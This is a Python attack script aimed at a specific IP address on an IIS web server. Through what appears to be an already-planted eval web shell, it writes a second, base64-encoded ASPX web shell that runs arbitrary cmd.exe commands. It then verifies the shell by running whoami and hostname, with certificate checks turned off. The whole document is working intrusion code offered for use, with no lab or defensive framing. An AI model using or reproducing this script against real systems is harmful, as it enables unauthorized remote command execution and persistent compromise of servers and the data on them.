#!/usr/bin/env python3
import requests, base64
requests.packages.urllib3.disable_warnings()
EVAL = "https://213.6.54.59/aspnet_client/movvtf.aspx"

JS_CMD = ('<script language="JScript" runat="server" Page aspcompat=true>'
          'function Page_Load(){var c=Request["cmd"];if(c!=null){'
          'try{var p=new System.Diagnostics.Process();'
          'p.StartInfo.FileName="cmd.exe";p.StartInfo.Arguments="/c "+c;'
          'p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;'
          'p.StartInfo.RedirectStandardError=true;p.Start();'
          'var o=p.StandardOutput.ReadToEnd()+p.StandardError.ReadToEnd();'
          'p.WaitForExit();Response.Write("OUT<<"+o+">>END");}'
          'catch(e){Response.Write("EXC:"+e.message);}}}</script>')

b64 = base64.b64encode(JS_CMD.encode()).decode()
path = "C:\\inetpub\\wwwroot\\aspnet_client\\cmd2.aspx"
code = ('var b=System.Convert.FromBase64String("{0}");'
        'System.IO.File.WriteAllBytes("{1}", b);Response.Write("DROPPED");').format(b64, path.replace("\\", "\\\\"))
r = requests.post(EVAL, headers={'Content-Type': 'application/x-www-form-urlencoded'},
                  params={"exec_code": code}, verify=False, timeout=30)
print("[drop]", r.status_code, r.text[:80], flush=True)

u = "https://213.6.54.59/aspnet_client/cmd2.aspx"
for q in ["whoami", "whoami & hostname"]:
    try:
        rr = requests.get(u, params={"cmd": q}, verify=False, timeout=25)
        print(f"[verify] cmd={q!r} -> {rr.status_code} {rr.text[:220]!r}", flush=True)
    except Exception as e:
        print(f"[verify] {q!r} err {type(e).__name__} {str(e)[:90]}", flush=True)